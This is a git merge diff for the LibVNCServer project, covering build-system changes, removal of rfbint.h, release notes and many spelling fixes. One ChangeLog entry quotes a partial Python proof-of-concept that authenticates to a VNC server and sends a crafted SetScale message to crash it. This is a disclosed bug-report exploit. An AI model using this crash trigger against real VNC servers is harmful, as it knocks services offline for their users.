Merge branch 'master' into multicastvnc

Conflicts:
	libvncclient/Makefile.am
	libvncclient/vncviewer.c
	libvncserver/Makefile.am
	libvncserver/rfbserver.c
	rfb/rfbclient.h
	rfb/rfbproto.h

Author: Christian Beier

.gitignore

@@ -61,7 +61,6 @@ examples/vncev
 libtool
 libvncclient/libvncclient.la
 libvncserver/libvncserver.la
-rfb/rfbint.h
 test/blooptest
 test/cargstest
 test/copyrecttest

.travis.yml

@@ -0,0 +1,4 @@
+language: c
+
+# before build script, run autoreconf
+before_script: autoreconf -fiv

AUTHORS

@@ -38,7 +38,8 @@ George Fleury, Kan-Ru Chen, Steve Guo, Luca Stauble, Peter Watkins,
 Kyle J. McKay, Mateus Cesar Groess, Philip Van Hoof, D. R. Commander,
 Rostislav Lisovy, Oliver Loch, Raphael Kubo da Costa, Amandeep Singh,
 Brian Bidulock, Daniel Cohen Gindi, David Verbeiren, Luca Falavigna,
-Matthias Treydte, Nicolas Ruff and Robbert Klarenbeek.
+Matthias Treydte, Nicolas Ruff, Robbert Klarenbeek and Floris Bos.
+
 
 Probably I forgot quite a few people sending a patch here and there, which
 really made a difference. Without those, some obscure bugs still would

CMakeLists.txt

@@ -1,4 +1,5 @@
 cmake_minimum_required(VERSION 2.6)
+cmake_policy(SET CMP0037 NEW)
 
 project(LibVNCServer)
 include(CheckFunctionExists)
@@ -11,10 +12,11 @@ include(CheckCSourceRuns)
 
 set(PACKAGE_NAME           "LibVNCServer")
 set(FULL_PACKAGE_NAME      "LibVNCServer")
-set(PACKAGE_VERSION        "0.9.10")
 set(VERSION_MAJOR          "0")
 set(VERSION_MINOR          "9")
 set(VERSION_PATCHLEVEL     "10")
+set(VERSION_SO             "0")
+set(PACKAGE_VERSION "${VERSION_MAJOR}.${VERSION_MINOR}.${VERSION_PATCHLEVEL}")
 set(PROJECT_BUGREPORT_PATH "http://sourceforge.net/projects/libvncserver")
 set(CMAKE_C_FLAGS "-O2 -W -Wall -g")
 set(LIBVNCSERVER_DIR ${CMAKE_CURRENT_SOURCE_DIR}/libvncserver)
@@ -105,10 +107,12 @@ if(GNUTLS_FOUND)
   option(LIBVNCSERVER_WITH_WEBSOCKETS "Build with websockets support (gnutls)" ON)
   set(WEBSOCKET_LIBRARIES ${RESOLV_LIB} ${GNUTLS_LIBRARIES})
   set(WSSRCS ${LIBVNCSERVER_DIR}/rfbssl_gnutls ${LIBVNCSERVER_DIR}/rfbcrypto_gnutls)
+  include_directories(${GNUTLS_INCLUDE_DIR})
 elseif(OPENSSL_FOUND)
   option(LIBVNCSERVER_WITH_WEBSOCKETS "Build with websockets support (openssl)" ON)
   set(WEBSOCKET_LIBRARIES ${RESOLV_LIB} ${OPENSSL_LIBRARIES})
   set(WSSRCS ${LIBVNCSERVER_DIR}/rfbssl_openssl ${LIBVNCSERVER_DIR}/rfbcrypto_openssl)
+  include_directories(${OPENSSL_INCLUDE_DIR})
 else()
   option(LIBVNCSERVER_WITH_WEBSOCKETS "Build with websockets support (no ssl)" ON)
   set(WEBSOCKET_LIBRARIES ${RESOLV_LIB})
@@ -134,12 +138,21 @@ check_include_file("sys/wait.h"    LIBVNCSERVER_HAVE_SYS_WAIT_H)
 check_include_file("unistd.h"      LIBVNCSERVER_HAVE_UNISTD_H)
 
 # headers needed for check_type_size()
+check_include_file("vfork.h"       LIBVNCSERVER_HAVE_VFORK_H)
+check_include_file("ws2tcpip.h"    LIBVNCSERVER_HAVE_WS2TCPIP_H)
 check_include_file("arpa/inet.h"   HAVE_ARPA_INET_H)
 check_include_file("stdint.h"      HAVE_STDINT_H)
 check_include_file("stddef.h"      HAVE_STDDEF_H)
 check_include_file("sys/types.h"   HAVE_SYS_TYPES_H)
 
 check_function_exists(gettimeofday    LIBVNCSERVER_HAVE_GETTIMEOFDAY)
+check_function_exists(vfork           LIBVNCSERVER_HAVE_VFORK)
+check_function_exists(vprintf         LIBVNCSERVER_HAVE_VPRINTF)
+
+
+if(LIBVNCSERVER_HAVE_WS2TCPIP_H AND LIBVNCSERVER_HAVE_VPRINTF)
+	option(LIBVNCSERVER_IPv6 "Enable IPv6 Support" ON)
+endif()
 
 if(CMAKE_USE_PTHREADS_INIT)
   set(LIBVNCSERVER_HAVE_LIBPTHREAD 1)
@@ -168,7 +181,6 @@ TEST_BIG_ENDIAN(LIBVNCSERVER_WORDS_BIGENDIAN)
 # inline
 
 configure_file(${CMAKE_CURRENT_SOURCE_DIR}/rfb/rfbconfig.h.cmake ${CMAKE_BINARY_DIR}/rfb/rfbconfig.h)
-configure_file(${CMAKE_CURRENT_SOURCE_DIR}/rfb/rfbint.h.cmake ${CMAKE_BINARY_DIR}/rfb/rfbint.h)
 
 set(LIBVNCSERVER_SOURCES
     ${LIBVNCSERVER_DIR}/main.c
@@ -281,6 +293,7 @@ target_link_libraries(vncclient
                       ${ZLIB_LIBRARIES}
                       ${JPEG_LIBRARIES}
                       ${GNUTLS_LIBRARIES}
+                      ${OPENSSL_LIBRARIES}
 )
 target_link_libraries(vncserver
                       ${ADDITIONAL_LIBS}
@@ -291,7 +304,7 @@ target_link_libraries(vncserver
 )
 
 SET_TARGET_PROPERTIES(vncclient vncserver
-    PROPERTIES SOVERSION "0.0.0"
+		PROPERTIES SOVERSION "${VERSION_SO}" VERSION "${PACKAGE_VERSION}"
 )
 
 # tests
@@ -356,14 +369,14 @@ endif(HAVE_FFMPEG)
 
 file(MAKE_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/examples)
 foreach(test ${LIBVNCSERVER_TESTS})
-  add_executable(examples/${test} ${LIBVNCSRVTEST_DIR}/${test}.c)
-  target_link_libraries(examples/${test} vncserver ${CMAKE_THREAD_LIBS_INIT})
+  add_executable(examples_${test} ${LIBVNCSRVTEST_DIR}/${test}.c)
+  target_link_libraries(examples_${test} vncserver ${CMAKE_THREAD_LIBS_INIT})
 endforeach(test ${LIBVNCSERVER_TESTS})
 
 file(MAKE_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/client_examples)
 foreach(test ${LIBVNCCLIENT_TESTS})
-  add_executable(client_examples/${test} ${LIBVNCCLITEST_DIR}/${test}.c ${LIBVNCCLITEST_DIR}/${${test}_EXTRA_SOURCES} )
-  target_link_libraries(client_examples/${test} vncclient ${CMAKE_THREAD_LIBS_INIT} ${X11_LIBRARIES} ${SDL_LIBRARY} ${FFMPEG_LIBRARIES})
+  add_executable(client_examples_${test} ${LIBVNCCLITEST_DIR}/${test}.c ${LIBVNCCLITEST_DIR}/${${test}_EXTRA_SOURCES} )
+  target_link_libraries(client_examples_${test} vncclient ${CMAKE_THREAD_LIBS_INIT} ${X11_LIBRARIES} ${SDL_LIBRARY} ${FFMPEG_LIBRARIES})
 endforeach(test ${LIBVNCCLIENT_TESTS})
 
 install_targets(/lib vncserver)
@@ -373,7 +386,6 @@ install_files(/include/rfb FILES
     rfb/rfb.h
     rfb/rfbclient.h
     rfb/rfbconfig.h
-    rfb/rfbint.h
     rfb/rfbproto.h
     rfb/rfbregion.h
 )

ChangeLog

@@ -37,7 +37,7 @@
 
 
 	(struct.pack("BBBBBBBB",PASSWORD_SWAP[0],PASSWORD_SWAP[1],PASSWORD_SWAP[2],PASSWORD_SWAP[3],PASSWORD_SWAP[4],PASSWORD_SWAP[5],PASSWORD_SWAP[6],PASSWORD_SWAP[7]))crypto = DES.new(PASSWORD)         return crypto.encrypt(data)     def reverse_bits(self,x):         a=0         for i in range(8):             a += ((x>>i)&1)<<(7-i)         return a def main(argv):     print "Proof of Concept"     print "Copyright TELUS Security Labs"     print "All Rights Reserved.\n"     try:         HOST = sys.argv[1]         PORT = int(sys.argv[2])     except:         print "Usage: python setscale_segv_poc.py <host> <port>
-	        [password]" sys.exit(1)     try:         PASSWORD = sys.argv[3]     except:         print "No password supplied"         PASSWORD = ""     vnc = RFB()     remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM)     remote.connect((HOST,PORT))     # Get server version     data = remote.recv(1024)     # Send 3.8 version     remote.send(vnc.INIT_3008)     # Get supported security types     data = remote.recv(1024)     # Process Security Message     secType = vnc.AUTH_PROCESS(data,0)     if secType[0] == "\x02":         # Send accept for password auth         remote.send(vnc.AUTH_PASS)         # Get challenge         data = remote.recv(1024)         # Send challenge response         remote.send(vnc.AUTH_PROCESS_CHALLENGE(data,PASSWORD))     elif secType[0] == "\x01":         # Send accept for None pass         remote.send(vnc.AUTH_NO_PASS)     else:         print 'The server sent us something weird during auth.'         sys.exit(1)     # Get result     data = remote.recv(1024)     # Process result     result = vnc.AUTH_PROCESS(data,1)     if result == "\x01":         # Authentication failure.          data = remote.recv(1024)         print 'Authentication failure. Server Reason: ' + str(data)         sys.exit(1)     elif result == "\x00":         print "Authentication success."     else:         print 'Some other authentication issue occured.'         sys.exit(1)     # Send ClientInit     remote.send(vnc.SHARE_DESKTOP)     # Send malicious message     print "Sending malicious data..."     remote.send("\x08\x08\x00\x00")     remote.close() if __name__ == "__main__":     main(sys.argv) ---snap---
+	        [password]" sys.exit(1)     try:         PASSWORD = sys.argv[3]     except:         print "No password supplied"         PASSWORD = ""     vnc = RFB()     remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM)     remote.connect((HOST,PORT))     # Get server version     data = remote.recv(1024)     # Send 3.8 version     remote.send(vnc.INIT_3008)     # Get supported security types     data = remote.recv(1024)     # Process Security Message     secType = vnc.AUTH_PROCESS(data,0)     if secType[0] == "\x02":         # Send accept for password auth         remote.send(vnc.AUTH_PASS)         # Get challenge         data = remote.recv(1024)         # Send challenge response         remote.send(vnc.AUTH_PROCESS_CHALLENGE(data,PASSWORD))     elif secType[0] == "\x01":         # Send accept for None pass         remote.send(vnc.AUTH_NO_PASS)     else:         print 'The server sent us something weird during auth.'         sys.exit(1)     # Get result     data = remote.recv(1024)     # Process result     result = vnc.AUTH_PROCESS(data,1)     if result == "\x01":         # Authentication failure.          data = remote.recv(1024)         print 'Authentication failure. Server Reason: ' + str(data)         sys.exit(1)     elif result == "\x00":         print "Authentication success."     else:         print 'Some other authentication issue occurred.'         sys.exit(1)     # Send ClientInit     remote.send(vnc.SHARE_DESKTOP)     # Send malicious message     print "Sending malicious data..."     remote.send("\x08\x08\x00\x00")     remote.close() if __name__ == "__main__":     main(sys.argv) ---snap---
 
 2014-10-14  dscho <johannes.schindelin@gmx.de>
 
@@ -1361,7 +1361,7 @@
 
 	* libvncserver/Makefile.am: Fix build error when libpng is
 	available, but libjpeg is not.  The png stuff in tight.c depends on code in tight.c that uses
-	libjpeg features. We could probably seperate that, but for now the
+	libjpeg features. We could probably separate that, but for now the
 	dependency for 'tight' goes: PNG depends on JPEG depends on ZLIB.  This is reflected in Makefile.am now.  NB: Building tight.c with JPEG but without PNG is still possible,     but nor the other way around.
 
 2011-12-01  Christian Beier <dontmind@freeshell.org>
@@ -1527,10 +1527,10 @@
 2011-10-16  George Fleury <gfleury@gmail.com>
 
 	* libvncserver/rfbserver.c: Fix memory leak I was debbuging some code tonight and i found a pointer that is not
-	been freed, so i think there is maybe a memory leak, so it is...  there is the malloc caller reverse order: ( malloc cl->statEncList ) 	<- rfbStatLookupEncoding 	<- rfbStatRecordEncodingSent 	<- rfbSendCursorPos 	<- rfbSendFramebufferUpdate 	<- rfbProcessEvents I didnt look the whole libvncserver api, but i am using
+	been freed, so i think there is maybe a memory leak, so it is...  there is the malloc caller reverse order: ( malloc cl->statEncList ) 	<- rfbStatLookupEncoding 	<- rfbStatRecordEncodingSent 	<- rfbSendCursorPos 	<- rfbSendFramebufferUpdate 	<- rfbProcessEvents I didn't look the whole libvncserver api, but i am using
 	rfbReverseConnection with rfbProcessEvents, and then when the client
 	connection dies, i am calling a rfbShutdownServer and
-	rfbScreenCleanup, but the malloc at rfbStatLookupEncoding isnt been
+	rfbScreenCleanup, but the malloc at rfbStatLookupEncoding isn't been
 	freed.  So to free the stats i added a rfbResetStats(cl) after
 	rfbPrintStats(cl) at rfbClientConnectionGone in rfbserver.c before
 	free the cl pointer. (at rfbserver.c line 555). And this, obviously,
@@ -1685,7 +1685,7 @@
 2011-08-25  Gernot Tenchio <gernot@tenchio.de>
 
 	* libvncserver/websockets.c: websockets: added gcrypt based sha1
-	digest funtion
+	digest function
 
 2011-08-25  Joel Martin <jmartin@sentryds.com>
 
@@ -1901,7 +1901,7 @@
 
 2010-11-10  George Kiagiadakis <kiagiadakis.george@gmail.com>
 
-	* libvncserver/tight.c: Fix memory corruption bug.  This bug occured when a second telepathy tubes client was connected
+	* libvncserver/tight.c: Fix memory corruption bug.  This bug occurred when a second telepathy tubes client was connected
 	after the first one had disconnected and the channel (thus, the
 	screen too) had been destroyed.  Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
 
@@ -2070,7 +2070,7 @@
 	common/minilzo.h, libvncclient/Makefile.am,
 	libvncserver/Makefile.am: Update minilzo library used for Ultra
 	encoding to ver 2.04.  According to the minilzo README, this brings a significant speedup
-	on 64-bit architechtures.  Changes compared to old version 1.08 can be found here:
+	on 64-bit architectures.  Changes compared to old version 1.08 can be found here:
 	http://www.oberhumer.com/opensource/lzo/lzonews.php Signed-off-by: Christian Beier <dontmind@freeshell.org>
 
 2011-01-24  Christian Beier <dontmind@freeshell.org>
@@ -3209,7 +3209,7 @@
 	x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/user.c,
 	x11vnc/user.h, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: Allow range
 	for X11VNC_SKIP_DISPLAY, document grab Xserver issue.  Add
-	progress_client() to proceed more quickly thru handshake.
+	progress_client() to proceed more quickly through handshake.
 	Improvements to turbovnc hack.
 
 2009-03-07  dscho <dscho>
@@ -5601,7 +5601,7 @@
 	x11vnc/sslcmds.h, x11vnc/sslhelper.c, x11vnc/sslhelper.h,
 	x11vnc/ssltools.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h,
 	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h,
-	x11vnc/x11vnc_defs.c:  SSL Java viewer work thru proxy.  -sslGenCA, etc key/cert
+	x11vnc/x11vnc_defs.c:  SSL Java viewer work through proxy.  -sslGenCA, etc key/cert
 	 management utils for x11vnc.  FBPM "support".
 
 2006-03-28  dscho <dscho>
@@ -6760,7 +6760,7 @@
 
 	* AUTHORS, libvncclient/listen.c, libvncclient/sockets.c,
 	libvncclient/vncviewer.c: use rfbClientErr to log errors, check if
-	calloc succeded (both hinted by Andre Leiradella)
+	calloc succeeded (both hinted by Andre Leiradella)
 
 2004-11-30  dscho <dscho>
 
@@ -7442,7 +7442,7 @@
 2003-08-03  dscho <dscho>
 
 	* rfb/rfbproto.h: forgot to change WORDS_BIGENDIAN to
-	LIBVNCSERVER_BIGENDIAN; #undef VERSION unneccessary...
+	LIBVNCSERVER_BIGENDIAN; #undef VERSION unnecessary...
 
 2003-08-02  dscho <dscho>
 
@@ -8285,7 +8285,7 @@
 
 2001-10-15  dscho <dscho>
 
-	* .gdb_history: unneccessary file
+	* .gdb_history: unnecessary file
 
 2001-10-13  dscho <dscho>
 
@@ -8536,7 +8536,7 @@
 
 2001-09-25  dscho <dscho>
 
-	* .depend: rmoved unneccessary files
+	* .depend: rmoved unnecessary files
 
 2001-09-25  dscho <dscho>
 

Doxyfile

@@ -292,7 +292,7 @@ TYPEDEF_HIDES_STRUCT   = YES
 # causing a significant performance penality. 
 # If the system has enough physical memory increasing the cache will improve the 
 # performance by keeping more symbols in memory. Note that the value works on 
-# a logarithmic scale so increasing the size by one will rougly double the 
+# a logarithmic scale so increasing the size by one will roughly double the
 # memory usage. The cache size is given by this formula: 
 # 2^(16+SYMBOL_CACHE_SIZE). The valid range is 0..9, the default is 0, 
 # corresponding to a cache size of 2^16 = 65536 symbols
@@ -661,7 +661,6 @@ RECURSIVE              = YES
 # subdirectory from a directory tree whose root is specified with the INPUT tag.
 
 EXCLUDE                = rfb/rfbconfig.h \
-                         rfb/rfbint.h \
                          rfb/default8x16.h
 
 # The EXCLUDE_SYMLINKS tag can be used select whether or not files or 

Makefile.am

@@ -2,17 +2,16 @@ ACLOCAL_AMFLAGS = -I m4
 
 SUBDIRS=libvncserver examples libvncclient webclients client_examples test
 DIST_SUBDIRS=libvncserver examples libvncclient webclients client_examples test
-EXTRA_DIST = CMakeLists.txt rfb/rfbint.h.cmake rfb/rfbconfig.h.cmake
+EXTRA_DIST = CMakeLists.txt rfb/rfbconfig.h.cmake
 
 bin_SCRIPTS = libvncserver-config
 
 pkgconfigdir = $(libdir)/pkgconfig
 pkgconfig_DATA = libvncserver.pc libvncclient.pc
 
 includedir=$(prefix)/include/rfb
-#include_HEADERS=rfb.h rfbconfig.h rfbint.h rfbproto.h keysym.h rfbregion.h
 
-include_HEADERS=rfb/rfb.h rfb/rfbconfig.h rfb/rfbint.h rfb/rfbproto.h \
+include_HEADERS=rfb/rfb.h rfb/rfbconfig.h rfb/rfbproto.h \
 	rfb/keysym.h rfb/rfbregion.h rfb/rfbclient.h
 
 $(PACKAGE)-$(VERSION).tar.gz: dist

NEWS

@@ -1,3 +1,12 @@
+0.9.11
+   - LibVNCClient:
+     * Now initializes libgcrypt before use if the application did not do it.
+       Fixes a crash when connection to Mac hosts
+       (https://github.com/LibVNC/libvncserver/issues/45).
+
+   - LibVNCServer:
+     * Stability fixes for the WebSocket implementation.
+
 0.9.10
    - Overall changes:
      * Moved the whole project from sourceforge to https://libvnc.github.io/.
@@ -74,7 +83,7 @@
      * Implemented xvp VNC extension.
      * Updated minilzo library used for Ultra encoding to ver 2.04.
        According to the minilzo README, this brings a significant
-       speedup on 64-bit architechtures.
+       speedup on 64-bit architectures.
 
    - LibVNCServer:
      * Thread safety for ZRLE, Zlib, Tight, RRE, CoRRE and Ultra encodings.
@@ -125,7 +134,7 @@
       - Print this string out to stdout:  'PORT=XXXX' (usually XXXX = 5900).
         Combining with -bg, easy to write a ssh/rsh wrapper with something like:
         port=`ssh $host "x11vnc -bg .."` then run vncviewer based on $port output.
-        (tunneling the vnc traffic thru ssh a bit more messy, but doable)
+        (tunneling the vnc traffic through ssh a bit more messy, but doable)
 
       - Quite a bit of code to be more careful when doing 8bpp indexed color, e.g.
         not assuming NCOLORS is 256, handling 8bit TrueColor and Direct Color, etc

README

@@ -1,3 +1,5 @@
+[![Build Status](https://travis-ci.org/LibVNC/libvncserver.svg?branch=master)](https://travis-ci.org/LibVNC/libvncserver)
+
 LibVNCServer: A library for easy implementation of a VNC server.
 Copyright (C) 2001-2003 Johannes E. Schindelin
 
@@ -24,15 +26,15 @@ Try example: it outputs on which port it listens (default: 5900), so it is
 display 0. To view, call
 	vncviewer :0
 You should see a sheet with a gradient and "Hello World!" written on it. Try
-to paint something. Note that everytime you click, there is some bigger blot,
+to paint something. Note that every time you click, there is some bigger blot,
 whereas when you drag the mouse while clicked you draw a line. The size of the
 blot depends on the mouse button you click. Open a second vncviewer with
 the same parameters and watch it as you paint in the other window. This also
 works over internet. You just have to know either the name or the IP of your
 machine. Then it is
 	vncviewer machine.where.example.runs.com:0
 or similar for the remote client. Now you are ready to type something. Be sure
-that your mouse sits still, because everytime the mouse moves, the cursor is
+that your mouse sits still, because every time the mouse moves, the cursor is
 reset to the position of the pointer! If you are done with that demo, press
 the down or up arrows. If your viewer supports it, then the dimensions of the
 sheet change. Just press Escape in the viewer. Note that the server still
@@ -112,7 +114,7 @@ Before you draw something, be sure to call
 This tells LibVNCServer to hide the cursor.
 Remark: There are vncviewers out there, which know a cursor encoding, so
 that network traffic is low, and also the cursor doesn't need to be
-drawn the cursor everytime an update is sent. LibVNCServer handles
+drawn the cursor every time an update is sent. LibVNCServer handles
 all the details. Just set the cursor and don't bother any more.
 
 To set the mouse coordinates (or emulate mouse clicks), call
@@ -323,7 +325,7 @@ If you love products from Redmod, you better skip this paragraph.
 I am always amazed how people react whenever Microsoft(tm) puts in some
 features into their products which were around for a long time. Especially
 reporters seem to not know dick about what they are reporting about! But
-what is everytime annoying again, is that they don't do it right. Every
+what is every time annoying again, is that they don't do it right. Every
 concept has it's new name (remember what enumerators used to be until
 Mickeysoft(tm) claimed that enumerators are what we thought were iterators.
 Yeah right, enumerators are also containers. They are not separated. Muddy.)

README.md

@@ -0,0 +1 @@
+README